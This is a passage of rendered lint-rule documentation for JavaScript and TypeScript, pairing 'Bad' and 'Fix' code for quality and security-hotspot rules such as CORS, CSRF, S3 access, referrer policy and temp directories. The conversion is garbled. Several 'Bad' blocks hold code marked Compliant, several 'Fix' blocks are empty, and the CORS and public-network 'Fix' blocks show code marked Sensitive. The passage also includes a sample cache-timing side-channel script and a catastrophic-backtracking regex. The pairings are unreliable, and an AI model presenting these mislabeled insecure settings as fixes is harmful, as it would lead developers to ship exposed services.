          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce">Array.prototype.reduce</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight">Array.prototype.reduceRight</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some">Array.prototype.some</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort">Array.prototype.sort</a></p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSorted">Array.prototype.toSorted</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>If there is no return, the callback will implicitly return undefined\`, which may cause unexpected behavior or errors in the code.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let arr = ["a", "b", "c"];
      let merged = arr.reduce(function(a, b) {
      a.concat(b); // Noncompliant: No return statement, will result in TypeError
      });
      ```

      ```javascript Fix theme={null}
      let arr = ["a", "b", "c"];
      let merged = arr.reduce(function(a, b) {
      return a.concat(b);
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should use return consistently">
    <div class="paragraph">
      <p>Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain.</p>
    </div>

    <div class="paragraph">
      <p>In particular a function, in JavaScript, will return \`undefined in any of the following cases:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>It exits without a return statement.</p>
        </li>

        <li>
          <p>It executes a return\` with no value.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule verifies that return values are either always or never specified for each path through a function.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(a) { // Noncompliant, function exits without "return"
      if (a == 1) {
      return true;
      }
      }
      ```

      ```javascript Fix theme={null}
      function foo(a) {
      if (a == 1) {
      return true;
      }
      return false;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Tests should include assertions">
    <div class="paragraph">
      <p>An assertion is a statement within the unit test that checks whether a particular condition is true or false. It defines the expected behavior of the unit being tested. Assertions are used to express the test’s expected outcome, and they are the criteria against which the actual output of the unit is evaluated.</p>
    </div>

    <div class="paragraph">
      <p>When the unit test is executed, the assertions are evaluated. If all the assertions in the test pass, it means the unit is functioning correctly for that specific set of inputs. If any of the assertions fail, it indicates that there is a problem with the unit’s implementation, and the test case helps identify the issue.</p>
    </div>

    <div class="paragraph">
      <p>Without assertions, a unit test doesn’t actually verify anything, making it ineffective in catching potential bugs or regressions. It will always pass, regardless of the implementation of the unit. This can lead to a false sense of security, as you may believe that your code is working correctly when it might not be.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when the assertion library <code>chai,sinon or vitest</code> is imported but no assertion is used in a test.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const expect = require("chai").expect;

      describe("No assertions", function() {
      it("don't test anything", function() { // Noncompliant: The unit test doesn't assert anything
          const str = "";
      });
      });
      ```

      ```javascript Fix theme={null}
      const expect = require("chai").expect;

      describe("Assertions", function() {
      it("test something", function() {
          const str = "";
          expect(str).to.be.a("string");
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expression literals should be used when possible">
    <div class="paragraph">
      <p>Using regular expression literals is recommended over using the RegExp constructor calls if the pattern is a literal. Regular expression literals are shorter, more readable, and do not need to be escaped like string literals. They can also be more performant because regular expression literals are compiled only once when the script is loaded.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      new RegExp(/foo/);
      new RegExp('bar');
      new RegExp('baz', 'i');
      new RegExp("\\d+");
      new RegExp(`qux|quuz`);
      ```

      ```javascript Fix theme={null}
      /foo/;
      /bar/;
      /baz/i;
      /\d+/;
      /qux|quuz/;
      new RegExp(`Dear ${title},`);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Constructors should not return values">
    <div class="paragraph">
      <p>JavaScript allows returning a value from a class constructor. This obscure feature is rarely used and is more likely a bug than the developer’s intention.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class TextMessage {
      constructor(msg) {
          this.text = msg;
          return msg; // Noncompliant
      }
      }
      ```

      ```javascript Fix theme={null}
      class TextMsg1 {
      constructor(msg) {
          this.text = msg;
      }
      }


      class TextMsg2 {
      constructor(msg) {
          if (!msg) {
              return; // ok to return nothing for flow control
          }
          this.text = msg;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="__proto__ property should not be used">
    <div class="paragraph">
      <p>JavaScript has a prototypal inheritance model. Each object has an internal property that points to another object, called a prototype. That prototype object has a prototype of its own, and the whole sequence is called a <strong>prototype chain</strong>. When accessing a property or a method of an object, if it is not found at the top level, the search continues through the object’s prototype and then further down the prototype chain. This feature allows for very powerful dynamic inheritance patterns but can also lead to confusion when compared to the classic inheritance.</p>
    </div>

    <div class="paragraph">
      <p>To simplify the access to the prototype of an object some browsers introduced the <code>**proto** property, which was later deprecated and removed from the language. The current ECMAScript standard includes Object.getPrototypeOf and Object.setPrototypeOf static methods that should be used instead of the **proto**</code> property.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let prototype = foo.__proto__;  // Noncompliant: use Object.getPrototypeOf
      foo.__proto__ = bar; // Noncompliant: use Object.setPrototypeOf
      ```

      ```javascript Fix theme={null}
      let prototype = Object.getPrototypeOf(foo);
      Object.setPrototypeOf(foo, bar);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Collection contents should be used">
    <div class="paragraph">
      <p>A collection is a data structure that holds multiple values, such as an array or a map. If a collection is declared and populated, but its values are never read anywhere in the code, it can be considered unused code. This can be due to some refactoring, copy-pasting, or typing errors.</p>
    </div>

    <div class="paragraph">
      <p>Unused collections can waste memory usage and slow down the application’s performance. Additionally, they can make the code harder to read and understand, especially for other developers working on the same codebase.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function getLength(a, b, c) {
      const strings = [];  // Noncompliant: Array is declared and populated but never read
      strings.push(a);
      strings.push(b);
      strings.push(c);

      return a.length + b.length + c.length;
      }
      ```

      ```javascript Fix theme={null}
      function getLength(a, b, c) {
      return a.length + b.length + c.length;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React Context Provider values should have stable identities">
    <div class="paragraph">
      <p>Whenever the value property of React context changes, React will rerender the context and all its child nodes and consumers. In JavaScript, things like object literals or function expressions will create a new identity every time they are evaluated. Such constructions should not be directly used as context value because React will always consider they have changed. This can significantly impact performance.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Component() {
      return (
      <SomeContext.Provider value={{foo: 'bar'}}> { /* Noncompliant: value is an object literal */ }
        <SomeComponent />
      </SomeContext.Provider>
      );
      }
      ```

      ```javascript Fix theme={null}
      function Component() {
      const obj = useMemo(() => ({foo: 'bar'}), []); // value is cached by useMemo
      return (
      <SomeContext.Provider value={obj}> { /* Compliant */ }
        <SomeComponent />
      </SomeContext.Provider>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Jump statements should not occur in finally blocks">
    <div class="paragraph">
      <p>The finally block is a part of a try…​catch…​finally statement, which allows you to handle errors and perform cleanup operations regardless of whether an exception is thrown or not. The finally block is executed regardless of whether an exception occurs or not, and it is placed after the try and catch blocks.</p>
    </div>

    <div class="paragraph">
      <p>Having a jump statement, such as return, break, continue, or throw, inside a finally block can lead to unexpected and undesirable behavior, making your code difficult to understand and maintain. While it’s not inherently forbidden to use jump statements in finally blocks, it is generally discouraged for the following reasons:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The primary purpose of the finally block is to ensure cleanup operations and code that must run regardless of the outcome, such as releasing resources or closing connections. If you use a return statement inside the finally block, it will override any previous return statements in the try or catch blocks. This can lead to unexpected values being returned from a function.</p>
        </li>

        <li>
          <p>Jump statements like break, continue, or even another throw inside the finally block can alter the normal control flow of the program. This can make it difficult to reason about the behavior of the code and may introduce subtle bugs that are hard to detect.</p>
        </li>

        <li>
          <p>If a return or throw statement inside the finally block causes a new exception or alters the return value, it can hide or suppress the original exception or return value from the try or catch blocks. This can make it challenging to identify the actual cause of an error.</p>
        </li>

        <li>
          <p>Code that uses jump statements in finally blocks can be hard to read and understand, especially for other developers who might not be familiar with the unusual control flow. Such code can lead to maintenance issues and make it harder to debug and maintain the application in the long run.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule reports on all usages of jump statements from a <code>finally block. Even if it’s guaranteed that no unhandled exception can happen in try or catch blocks, it’s not recommended to use any jump statements inside the finally</code> block to have the logic there limited to the "cleanup".</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      async function foo() {
      let result, connection;
      try {
          connection = await connect();
          result = connection.send(1);
      } catch(err) {
          console.error(err.message);
      } finally {
          if (connection) {
              connection.close();
          }
          return result; // Noncompliant: Jump statement 'return' in the 'finally' block
      }
      }
      ```

      ```javascript Fix theme={null}
      async function foo() {
      let result, connection;
      try {
          connection = await connect();
          result = connection.send(1);
      } catch(err) {
          console.error(err.message);
      } finally {
          if (connection) {
              connection.close();
          }
      }
      return result;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function types should be preferred">
    <div class="paragraph">
      <p>TypeScript allows declaring the type of a function in two different ways:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Function type: () ⇒ number</p>
        </li>

        <li>
          <p>Object type with a call signature: \{ (): number }</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>The function type syntax is generally preferred for being more concise.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function apply(f: { (): string }): string {
      return f();
      }
      ```

      ```javascript Fix theme={null}
      function apply(f: () => string): string {
      return f();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing HTTP responses caching is security-sensitive">
    <div class="paragraph">
      <p>Web browsers, CDNs or similar proxy-servers can cache HTTP responses (especially large content such as images, scripts etc) to improve web browsing performance and to not overload the application serving the resources. However this may lead to privacy issues if a private web page containing personal user information is cached and served to another user. A different type of attacks allowed when caching resources at the web-browser level is cross-site leak attacks/side-channel attacks, here the attacker infers information about an user (for instance,  web page he is visiting) by observing timing responses or other relevant data when requesting private resources that may be cached.</p>
    </div>

    <div class="paragraph">
      <p>Example of a side channel attack:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The attacker wants to known if a user is involved in a confidential agreement between two companies A and B.</p>
        </li>

        <li>
          <p>If it is the case, the user can access to the resource <em>contract-between-A-and-B.png</em> after being authenticated on a website.</p>
        </li>

        <li>
          <p>The attacker tricks the user to visit a malicious website containing the below code in order to determine the desired information:</p>
        </li>
      </ul>
    </div>

    <div class="listingblock">
      <div class="content">
        \`\<img id="leakyimage" src="">
        \<script language="javascript">
        leakyimage.src = "[https://targetexample.com/private/contract-between-A-and-B.png](https://targetexample.com/private/contract-between-A-and-B.png)";

        leakyimage.onload = function SideChannelObservations() \{
        // compare timing between a cached image and not cached image
        // or success of load
        // in order to determine if the image is cached and so if the user has right to access to this image
        }
        \</script>\`
      </div>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const nocache = require('nocache');
      const helmet = require('helmet');

      let app = express();
      app.use(nocache()); // Compliant
      // or
      app.use(helmet.nocache()); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Boolean checks should not be inverted">
    <div class="paragraph">
      <p>It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (!(a === 2)) { ... }  // Noncompliant
      ```

      ```javascript Fix theme={null}
      if (a !== 2) { ... }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions should be syntactically valid">
    <div class="paragraph">
      <p>Regular expressions have their own syntax that is understood by regular expression engines. Those engines will throw an exception at runtime if they are given a regular expression that does not conform to that syntax.</p>
    </div>

    <div class="paragraph">
      <p>To avoid syntax errors, special characters should be escaped with backslashes when they are intended to be matched literally and references to capturing groups should use the correctly spelled name or number of the group.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      new RegExp("([");
      str.match("([");
      ```

      ```javascript Fix theme={null}
      new RegExp("\\(\\[");
      str.match("\\(\\[");
      str.replace("([", "{");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using publicly writable directories is security-sensitive">
    <div class="paragraph">
      <p>Operating systems have global directories where any user has write access. Those folders are mostly used as temporary storage areas like \`/tmp in Linux based systems. An application  manipulating files from these folders is exposed to race conditions on filenames: a malicious user can try to create a file with a predictable name before the application does. A successful attack can result in other files being accessed, modified, corrupted or deleted. This risk is even higher if the application runs with elevated permissions.</p>
    </div>

    <div class="paragraph">
      <p>In the past, it has led to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2012-2451">CVE-2012-2451</a></p>
        </li>

        <li>
          <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2015-1838">CVE-2015-1838</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like /tmp (see examples bellow). It also detects access to environment variables that point to publicly writable directories, e.g., TMP and TMPDIR.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>/tmp</p>
        </li>

        <li>
          <p>/var/tmp</p>
        </li>

        <li>
          <p>/usr/tmp</p>
        </li>

        <li>
          <p>/dev/shm</p>
        </li>

        <li>
          <p>/dev/mqueue</p>
        </li>

        <li>
          <p>/run/lock</p>
        </li>

        <li>
          <p>/var/run/lock</p>
        </li>

        <li>
          <p>/Library/Caches</p>
        </li>

        <li>
          <p>/Users/Shared</p>
        </li>

        <li>
          <p>/private/tmp</p>
        </li>

        <li>
          <p>/private/var/tmp</p>
        </li>

        <li>
          <p>\Windows\Temp</p>
        </li>

        <li>
          <p>\Temp</p>
        </li>

        <li>
          <p>\TMP\`</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const tmp = require('tmp');

      const tmpobj = tmp.fileSync(); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Lines should not end with trailing whitespaces">
    <div class="paragraph">
      <p>Trailing whitespaces bring no information, they may generate noise when comparing different versions of the same file, and they can create bugs when they appear after a \ marking a line continuation. They should be systematically removed.</p>
    </div>

    <div class="paragraph">
      <p>An automated code formatter allows to completely avoid this family of issues and should be used wherever possible.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      // The following string will error if there is a whitespace after '\' 
      var str = "Hello \ 
      World";
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Statements should be on separate lines">
    <div class="paragraph">
      <p>Putting multiple statements on a single line lowers the code readability and makes debugging the code more complex.</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{noncompliant}\[]</p>
    </div>

    <div class="paragraph">
      <p>Write one statement per line to improve readability.</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{compliant}\[]</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      foo(); bar(); // Noncompliant
      ```

      ```javascript Fix theme={null}
      foo();
      bar();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Policies authorizing public access to resources are security-sensitive">
    <div class="paragraph">
      <p>Resource-based policies granting access to all users can lead to information leakage.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'
      import { aws_s3 as s3 } from 'aws-cdk-lib'

      const bucket = new s3.Bucket(this, "ExampleBucket")

      bucket.addToResourcePolicy(new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ["s3:*"],
      resources: [bucket.arnForObjects("*")],
      principals: [new iam.AnyPrincipal()] // Sensitive
      }))
      ```

      ```javascript Fix theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'
      import { aws_s3 as s3 } from 'aws-cdk-lib'

      const bucket = new s3.Bucket(this, "ExampleBucket")

      bucket.addToResourcePolicy(new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ["s3:*"],
      resources: [bucket.arnForObjects("*")],
      principals: [new iam.AccountRootPrincipal()]
      }))
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using slow regular expressions is security-sensitive">
    <div class="paragraph">
      <p>Most of the regular expression engines use <code>backtracking to try all possible execution paths of the regular expression when evaluating an input, in some cases it can cause performance issues, called catastrophic backtracking situations. In the worst case, the complexity of the regular expression is exponential in the size of the input, this means that a small carefully-crafted input (like 20 chars) can trigger catastrophic backtracking</code> and cause a denial of service of the application. Super-linear regex complexity can lead to the same impact too with, in this case, a large carefully-crafted input (thousands chars).</p>
    </div>

    <div class="paragraph">
      <p>This rule determines the runtime complexity of a regular expression and informs you of the complexity if it is not linear.</p>
    </div>

    <div class="paragraph">
      <p>Note that, due to improvements to the matching algorithm, some cases of exponential runtime complexity  have become impossible when run using JDK 9 or later. In such cases, an issue will only be reported if the project’s target Java version is 8 or earlier.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /((?=(a+))\2)+$/.test(
      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
      "aaaaaaaaaaaaaaa!"
      ); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling strict HTTP no-referrer policy is security-sensitive">
    <div class="paragraph">
      <p><a href="https://en.wikipedia.org/wiki/HTTP_referer">HTTP header referer</a> contains a URL set by web browsers and used by applications to track from where the user came from, it’s for instance a relevant value for web analytic services, but it can cause <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">serious privacy and security problems</a> if the URL contains confidential information. Note that Firefox for instance, to prevent data leaks, <a href="https://blog.mozilla.org/security/2018/01/31/preventing-data-leaks-by-stripping-path-information-in-http-referrers/">removes path information</a> in the Referer header while browsing privately.</p>
    </div>

    <div class="paragraph">
      <p>Suppose an e-commerce website asks the user his credit card number to purchase a product:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<html>
        \<body>
        \<form action="/valid\_order" method="GET">
        Type your credit card number to purchase products:
        \<input type=text id="cc" value="1111-2222-3333-4444">
        \<input type=submit>
        \</form>
        \</body></pre>
      </div>
    </div>

    <div class="paragraph">
      <p>When submitting the above HTML form, a HTTP GET request will be performed, the URL requested will be [https://example.com/valid\_order?cc=1111-2222-3333-4444](https://example.com/valid_order?cc=1111-2222-3333-4444) with credit card number inside and it’s obviously not secure for these reasons:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>URLs are stored in the history of browsers.</p>
        </li>

        <li>
          <p>URLs could be accidentally shared when doing copy/paste actions.</p>
        </li>

        <li>
          <p>URLs can be stolen if a malicious person looks at the computer screen of an user.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In addition to these threats, when further requests will be performed from the  "valid\_order" page with a simple legitimate embedded script like that:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<script src="https\://webanalyticservices\_example.com/track"></pre>
      </div>
    </div>

    <div class="paragraph">
      <p>The referer header which contains confidential information will be send to a third party web analytic service and cause privacy issue:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>GET /track HTTP/2.0
        Host: webanalyticservices\_example.com
        Referer: [https://example.com/valid\_order?cc=1111-2222-3333-4444](https://example.com/valid_order?cc=1111-2222-3333-4444)</pre>
      </div>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express();

      app.use(
      helmet.referrerPolicy({
      policy: 'no-referrer' // Compliant
      })
      );
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling CSRF protections is security-sensitive">
    <div class="paragraph">
      <p>A cross-site request forgery (CSRF) attack occurs when a trusted user of a web application can be forced, by an attacker, to perform sensitive actions that he didn’t intend, such as updating his profile or sending a message, more generally anything that can change the state of the application.</p>
    </div>

    <div class="paragraph">
      <p>The attacker can trick the user/victim to click on a link, corresponding to the privileged action, or to visit a malicious web site that embeds a hidden web request and as web browsers automatically include cookies, the actions can be authenticated and sensitive.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let csrf = require('csurf');
      let express = require('express');

      let csrfProtection = csrf({ cookie:  true });

      let app = express();

      app.post('/money_transfer', parseForm, csrfProtection, function (req, res) { // Compliant
      res.send('Money transferred')
      });
      ```

      ```javascript Fix theme={null}
      let csrf = require('csurf');
      let express = require('express');

      app.use(csrf({ cookie: true, ignoreMethods: ["GET"] })); // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Alternation in regular expressions should not contain empty alternatives">
    <div class="paragraph">
      <p>Alternation is used to match a single regular expression out of several possible regular expressions. If one of the alternatives is empty it would match any input, which is most probably a mistake.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /Jack|Peter|/.test('John'); // Noncompliant - returns 'true'
      /Jack||Peter/.test('John'); // Noncompliant - returns 'true'
      ```

      ```javascript Fix theme={null}
      /Jack|Peter/.test('John'); // returns 'false'
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Authorizing HTTP communications with S3 buckets is security-sensitive">
    <div class="paragraph">
      <p>By default, S3 buckets can be accessed through HTTP and HTTPs protocols.</p>
    </div>

    <div class="paragraph">
      <p>As HTTP is a clear-text protocol, it lacks the encryption of transported data, as well as the capability to build an authenticated connection. It means that a malicious actor who is able to intercept traffic from the network can read, modify or corrupt the transported content.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      const bucket = new s3.Bucket(this, 'example'); // Sensitive
      ```

      ```javascript Fix theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      const bucket = new s3.Bucket(this, 'example', {
      bucketName: 'example',
      versioned: true,
      publicReadAccess: false,
      enforceSSL: true
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Statically serving hidden files is security-sensitive">
    <div class="paragraph">
      <p>Hidden files are created automatically by many tools to save user-preferences, well-known examples are <code>.profile, .bashrc, .bash\_history or .git. To simplify the view these files are not displayed by default using operating system commands like ls</code>.</p>
    </div>

    <div class="paragraph">
      <p>Outside of the user environment, hidden files are sensitive because they are used to store privacy-related information or even hard-coded secrets.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let serveStatic = require("serve-static");
      let app = express();
      let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'ignore'});   // Compliant: ignore or deny are recommended values
      let serveStaticDefault = serveStatic('public', { 'index': false});   // Compliant: by default, "dotfiles" (file or directory that begins with a dot) are not served (with the exception that files within a directory that begins with a dot are not ignored), see serve-static module documentation
      app.use(serveStaticMiddleware);
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Searching OS commands in PATH is security-sensitive">
    <div class="paragraph">
      <p>When executing an OS command and unless you specify the full path to the executable, then the locations in your application’s <code>PATH environment variable will be searched for the executable. That search could leave an opening for an attacker if one of the elements in PATH</code> is a directory under his control.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const cp = require('child_process');
      cp.exec('/usr/bin/file.exe'); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Having a permissive Cross-Origin Resource Sharing policy is security-sensitive">
    <div class="paragraph">
      <p>Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0269">CVE-2018-0269</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14460">CVE-2017-14460</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same origin policy</a> in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">CORS</a>, that act like directives for the browser and change the access control policy / relax the same origin policy.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const http = require('http');
      const srv = http.createServer((req, res) => {
      res.writeHead(200, { 'Access-Control-Allow-Origin': '*' }); // Sensitive
      res.end('ok');
      });
      srv.listen(3000);
      ```

      ```javascript Fix theme={null}
      const cors = require('cors');

      let app1 = express();
      app1.use(cors()); // Sensitive: by default origin is set to *

      let corsOptions = {
      origin: '*' // Sensitive
      };

      let app2 = express();
      app2.use(cors(corsOptions));
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Loops should not contain more than a single break or continue statement">
    <div class="paragraph">
      <p>The use of break and continue statements increases the complexity of the control flow and makes it harder to understand the program logic.
      In order to keep a good program structure, they should not be applied more than once per loop.</p>
    </div>

    <div class="paragraph">
      <p>This rule reports an issue when there is more than one break or continue statement in a loop.
      The code should be refactored to increase readability if there is more than one.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (var i = 1; i <= 10; i++) {  // Noncompliant - 2 continue - one might be tempted to add some logic in between
      if (i % 2 == 0) {
      continue;
      }

      if (i % 3 == 0) {
      continue;
      }

      alert("i = " + i);
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Character classes in regular expressions should not contain only one character">
    <div class="paragraph">
      <p>Character classes in regular expressions are a convenient way to match one of several possible characters by listing the allowed characters or ranges of characters. If a character class contains only one character, the effect is the same as just writing the character without a character class.</p>
    </div>

    <div class="paragraph">
      <p>Thus, having only one character in a character class is usually a simple oversight that remained after removing other characters of the class.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /a[b]c/
      /[\^]/
      ```

      ```javascript Fix theme={null}
      /abc/
      /\^/
      /a[*]c/ // Compliant, see Exceptions
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="continue should not be used">
    <div class="paragraph">
      <p><code>continue is an unstructured control flow statement. It makes code less testable, less readable and less maintainable. Structured control flow statements such as if</code> should be used instead.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (i = 0; i < 10; i++) {
      if (i == 5) {
        continue;  /* Noncompliant */
      }
      alert("i = " + i);
      }
      ```

      ```javascript Fix theme={null}
      for (i = 0; i < 10; i++) {
      if (i != 5) {  /* Compliant */
        alert("i = " + i);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Collection elements should not be replaced unconditionally">
    <CodeGroup>
      ```javascript Bad theme={null}
      fruits[1] = "banana";
      fruits[1] = "apple";  // Noncompliant

      myMap.set("key", 1);
      myMap.set("key", 2); // Noncompliant

      mySet.add(1);
      mySet.add(1); // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing public network access to cloud resources is security-sensitive">
    <div class="paragraph">
      <p>Enabling public network access to cloud resources can affect an organization’s
      ability to protect its data or internal operations from data theft or
      disruption.</p>
    </div>

    <div class="paragraph">
      <p>Depending on the component, inbound access from the Internet can be enabled
      via:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>a boolean value that explicitly allows access to the public network.</p>
        </li>

        <li>
          <p>the assignment of a public IP address.</p>
        </li>

        <li>
          <p>database firewall rules that allow public IP ranges.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Deciding to allow public access may happen for various reasons such as for
      quick maintenance, time saving, or by accident.</p>
    </div>

    <div class="paragraph">
      <p>This decision increases the likelihood of attacks on the organization, such as:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>data breaches.</p>
        </li>

        <li>
          <p>intrusions into the infrastructure to permanently steal from it.</p>
        </li>

        <li>
          <p>and various malicious traffic, such as DDoS attacks.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import {aws_ec2 as ec2} from 'aws-cdk-lib'

      new ec2.Instance(this, "example", {
      instanceType: nanoT2,
      machineImage: ec2.MachineImage.latestAmazonLinux(),
      vpc: vpc,
      vpcSubnets: {subnetType: ec2.SubnetType.PUBLIC} // Sensitive
      })
      ```

      ```javascript Fix theme={null}
      import {aws_ec2 as ec2} from 'aws-cdk-lib'

      new ec2.CfnInstance(this, "example", {
      instanceType: "t2.micro",
      imageId: "ami-0ea0f26a6d50850c5",
      networkInterfaces: [
          {
              deviceIndex: "0",
              associatePublicIpAddress: true, // Sensitive
              deleteOnTermination: true,
              subnetId: vpc.selectSubnets({subnetType: ec2.SubnetType.PUBLIC}).subnetIds[0]
          }
      ]
      })
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Local variables should not be declared and then immediately returned or thrown">
    <div class="paragraph">
